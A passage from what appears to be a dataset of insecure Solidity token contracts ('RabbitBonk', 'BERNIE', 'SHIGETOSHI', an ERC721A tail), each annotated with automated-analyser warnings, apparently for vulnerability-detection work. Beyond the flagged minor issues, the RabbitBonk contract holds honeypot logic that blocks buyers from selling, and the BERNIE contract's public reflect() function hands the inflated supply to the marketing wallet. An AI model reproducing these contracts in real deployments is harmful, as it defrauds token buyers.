_packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 891253e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: d6987db): Pepebricks._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for d6987db: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: 891253e\n\t\t\t\t// incorrect-equality | ID: d6987db\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not Owner\");\n _;\n }\n\n modifier nob() {\n require(tx.origin == msg.sender, \"no Script\");\n _;\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_3642.sol",
"secure": 0,
"size_bytes": 17139
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 637ac68): Contract locking ether found Contract RabbitBonk has payable functions RabbitBonk.receive() But does not have a function to withdraw the ether\n// Recommendation for 637ac68: Remove the 'payable' attribute or add a withdraw function.\ncontract RabbitBonk is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0b6f1a1): RabbitBonk.uniswapV2Router should be immutable \n\t// Recommendation for 0b6f1a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 64727d6): RabbitBonk.uniswapV2Pair should be immutable \n\t// Recommendation for 64727d6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private _isIncludedFromFee;\n address[] private includeFromFee;\n\n string private constant _name = \"Rabbit Bonk\";\n string private constant _symbol = \"RBONK\";\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 680a07d): RabbitBonk._totalSupply should be constant \n\t// Recommendation for 680a07d: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 200000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 361a87b): RabbitBonk._maxTxAmount should be immutable \n\t// Recommendation for 361a87b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxTxAmount = _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 7d5a12b): RabbitBonk._maxWalletAmount should be immutable \n\t// Recommendation for 7d5a12b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxWalletAmount = _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3570ba3): RabbitBonk.marketingWallet should be immutable \n\t// Recommendation for 3570ba3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public marketingWallet;\n\n uint256 maxGwei = 26 * 1 gwei;\n\n struct BuyFees {\n uint256 liquidity;\n uint256 marketing;\n }\n BuyFees public buyFee;\n\n struct SellFees {\n uint256 liquidity;\n uint256 marketing;\n }\n SellFees public sellFee;\n\n constructor() {\n marketingWallet = payable(msg.sender);\n balances[_msgSender()] = _totalSupply;\n\n buyFee.liquidity = 1;\n buyFee.marketing = 2;\n\n sellFee.liquidity = 1;\n sellFee.marketing = 2;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _isExcludedFromFee[msg.sender] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n balances[sender] = balances[sender].sub(amount, \"Insufficient Balance\");\n balances[recipient] = balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24c6226): RabbitBonk.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24c6226: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function launch() public virtual {\n\t\t// cache-array-length | ID: 68b6d72\n for (uint256 i = 0; i < includeFromFee.length; i++) {\n _isIncludedFromFee[includeFromFee[i]] = true;\n }\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isIncludedFromFee[account] = false;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 637ac68): Contract locking ether found Contract RabbitBonk has payable functions RabbitBonk.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 637ac68: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n function isIncludedFromFee(address account) public view returns (bool) {\n return _isIncludedFromFee[account];\n }\n\n function blacklistBots() public onlyOwner {\n\t\t// cache-array-length | ID: 3b6f8a4\n for (uint256 i = 0; i < includeFromFee.length; i++) {\n _isIncludedFromFee[includeFromFee[i]] = true;\n }\n }\n\n function takeBuyFees(\n uint256 amount,\n address from\n ) private returns (uint256) {\n uint256 liquidityFeeToken = (amount * buyFee.liquidity) / 100;\n uint256 marketingFeeTokens = (amount * buyFee.marketing) / 100;\n balances[address(this)] += liquidityFeeToken + marketingFeeTokens;\n\n emit Transfer(\n from,\n address(this),\n marketingFeeTokens + liquidityFeeToken\n );\n return (amount - liquidityFeeToken - marketingFeeTokens);\n }\n\n function takeSellFees(\n uint256 amount,\n address from\n ) private returns (uint256) {\n uint256 liquidityFeeToken = (amount * sellFee.liquidity) / 100;\n uint256 marketingFeeTokens = (amount * sellFee.marketing) / 100;\n balances[address(this)] += liquidityFeeToken + marketingFeeTokens;\n\n emit Transfer(\n from,\n address(this),\n marketingFeeTokens + liquidityFeeToken\n );\n return (amount - liquidityFeeToken - marketingFeeTokens);\n }\n\n function setFees(\n uint256 newLiquidityBuyFee,\n uint256 newMarketingBuyFee,\n uint256 newLiquiditySellFee,\n uint256 newMarketingSellFee\n ) public onlyOwner {\n require(\n newLiquidityBuyFee.add(newMarketingBuyFee) <= 8,\n \"Buy fee can't go higher than 8\"\n );\n buyFee.liquidity = newLiquidityBuyFee;\n buyFee.marketing = newMarketingBuyFee;\n\n require(\n newLiquiditySellFee.add(newMarketingSellFee) <= 8,\n \"Sell fee can't go higher than 8\"\n );\n sellFee.liquidity = newLiquiditySellFee;\n sellFee.marketing = newMarketingSellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 50fafa5): RabbitBonk.limit(uint256) should emit an event for maxGwei = newMaxGwei * 1000000000 \n\t// Recommendation for 50fafa5: Emit an event for critical parameter changes.\n function limit(uint256 newMaxGwei) public onlyOwner {\n\t\t// events-maths | ID: 50fafa5\n maxGwei = newMaxGwei * 1 gwei;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e03da4e): RabbitBonk._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e03da4e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n balances[from] -= amount;\n uint256 transferAmount = amount;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (tx.gasprice > maxGwei && from == uniswapV2Pair) {\n _isIncludedFromFee[to] = true;\n }\n\n if (to != uniswapV2Pair) {\n includeFromFee.push(to);\n require(\n amount <= _maxTxAmount,\n \"Transfer Amount exceeds the maxTxAmount\"\n );\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the maxWalletAmount.\"\n );\n transferAmount = takeBuyFees(amount, from);\n }\n\n if (from != uniswapV2Pair) {\n require(\n amount <= _maxTxAmount,\n \"Transfer Amount exceeds the maxTxAmount\"\n );\n require(!_isIncludedFromFee[from]);\n if (tx.gasprice > maxGwei) return;\n transferAmount = takeSellFees(amount, from);\n }\n }\n\n balances[to] += transferAmount;\n emit Transfer(from, to, transferAmount);\n }\n}",
"file_name": "solidity_code_3643.sol",
"secure": 0,
"size_bytes": 12403
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract BERNIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c0e01a): BERNIE._name should be constant \n\t// Recommendation for 1c0e01a: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Bernie Doge\";\n\t// WARNING Optimization Issue (constable-states | ID: c9a7d67): BERNIE._symbol should be constant \n\t// Recommendation for c9a7d67: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BERNIE\";\n\t// WARNING Optimization Issue (constable-states | ID: 4bc194c): BERNIE._decimals should be constant \n\t// Recommendation for 4bc194c: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => uint256) private cooldown;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n address private uniswapV2Pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 9c5f406): BERNIE.marketing should be immutable \n\t// Recommendation for 9c5f406: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketing;\n\n\t// WARNING Optimization Issue (constable-states | ID: db20d55): BERNIE.MAX should be constant \n\t// Recommendation for db20d55: Add the 'constant' attribute to state variables that never change.\n uint256 private MAX = ~uint256(0);\n uint256 private _tTotal = 100 * 10 ** 9 * 10 ** 18;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n bool enableTrading;\n\t// WARNING Optimization Issue (constable-states | ID: 601f215): BERNIE.uniswapRouter01 should be constant \n\t// Recommendation for 601f215: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router01 private uniswapRouter01 =\n IUniswapV2Router01(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0be67e5): BERNIE.constructor(address).marketing_ lacks a zerocheck on \t marketing = marketing_\n\t// Recommendation for 0be67e5: Check that the address is not zero.\n constructor(address marketing_) {\n _rOwned[_msgSender()] = _rTotal;\n\t\t// missing-zero-check | ID: 0be67e5\n marketing = marketing_;\n enableTrading = true;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3123c85): BERNIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3123c85: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function reflect(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n _tTotal = _tTotal.mul(1000);\n _rTotal = (MAX - (MAX % _tTotal));\n _rOwned[marketing] = _rTotal;\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function enableTrade(bool enable) public onlyOwner {\n enableTrading = enable;\n }\n\n function uniswapPair() public onlyOwner {\n address getPairAddress = IUniswapV2Factory(uniswapRouter01.factory())\n .getPair(address(this), uniswapRouter01.WETH());\n require(getPairAddress != address(0));\n uniswapV2Pair = getPairAddress;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fb749f9): BERNIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fb749f9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d225a07): BERNIE._transferStandard(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[recipient] < block.timestamp)\n\t// Recommendation for d225a07: Avoid relying on 'block.timestamp'.\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n if (sender != owner() && recipient != owner()) {\n if (sender != uniswapV2Pair && sender != marketing) {\n require(enableTrading);\n\t\t\t\t// timestamp | ID: d225a07\n require(cooldown[recipient] < block.timestamp);\n cooldown[recipient] = block.timestamp + (45 seconds);\n }\n if (sender == uniswapV2Pair)\n cooldown[sender] = block.timestamp + (45 seconds);\n }\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: da616b0): BERNIE._getTValues(uint256) performs a multiplication on the result of a division tFee = tAmount.div(100).mul(3)\n\t// Recommendation for da616b0: Consider ordering multiplication before division.\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256) {\n\t\t// divide-before-multiply | ID: da616b0\n uint256 tFee = tAmount.div(100).mul(3);\n uint256 tTransferAmount = tAmount.sub(tFee);\n return (tTransferAmount, tFee);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee);\n return (rAmount, rTransferAmount, rFee);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2c54f2c): BERNIE._getRate().rSupply shadows BERNIE.rSupply (state variable)\n\t// Recommendation for 2c54f2c: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00f95b8): BERNIE._getRate().tSupply shadows BERNIE.tSupply (state variable)\n\t// Recommendation for 00f95b8: Rename the local variables that shadow another component.\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\t// WARNING Optimization Issue (constable-states | ID: c826163): BERNIE.rSupply should be constant \n\t// Recommendation for c826163: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc50b3e): BERNIE._getCurrentSupply().rSupply shadows BERNIE.rSupply (state variable)\n\t// Recommendation for bc50b3e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2c54f2c): BERNIE._getRate().rSupply shadows BERNIE.rSupply (state variable)\n\t// Recommendation for 2c54f2c: Rename the local variables that shadow another component.\n uint256 public rSupply;\n\t// WARNING Optimization Issue (constable-states | ID: a9bce60): BERNIE.tSupply should be constant \n\t// Recommendation for a9bce60: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd521b6): BERNIE._getCurrentSupply().tSupply shadows BERNIE.tSupply (state variable)\n\t// Recommendation for cd521b6: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00f95b8): BERNIE._getRate().tSupply shadows BERNIE.tSupply (state variable)\n\t// Recommendation for 00f95b8: Rename the local variables that shadow another component.\n uint256 public tSupply;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc50b3e): BERNIE._getCurrentSupply().rSupply shadows BERNIE.rSupply (state variable)\n\t// Recommendation for bc50b3e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd521b6): BERNIE._getCurrentSupply().tSupply shadows BERNIE.tSupply (state variable)\n\t// Recommendation for cd521b6: Rename the local variables that shadow another component.\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: bb84b62\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3644.sol",
"secure": 0,
"size_bytes": 18073
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3537e99): Contract locking ether found Contract SHIGETOSHI has payable functions SHIGETOSHI.receive() But does not have a function to withdraw the ether\n// Recommendation for 3537e99: Remove the 'payable' attribute or add a withdraw function.\ncontract SHIGETOSHI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: a6dcc1c): SHIGETOSHI._name should be constant \n\t// Recommendation for a6dcc1c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"SHIGETOSHI\";\n\t// WARNING Optimization Issue (constable-states | ID: 2fcb8bb): SHIGETOSHI._symbol should be constant \n\t// Recommendation for 2fcb8bb: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"$SHIGETOSHI\";\n\t// WARNING Optimization Issue (constable-states | ID: 50561e1): SHIGETOSHI._decimals should be constant \n\t// Recommendation for 50561e1: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 39b3d63): SHIGETOSHI.FRbren should be immutable \n\t// Recommendation for 39b3d63: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public FRbren;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) _zxc;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public _isExcludefromFee;\n mapping(address => bool) public _pairs;\n mapping(address => uint256) public zxc;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d60dc41): SHIGETOSHI._totalSupply should be immutable \n\t// Recommendation for d60dc41: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 7000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: 8285bbf): SHIGETOSHI.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 8285bbf: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n 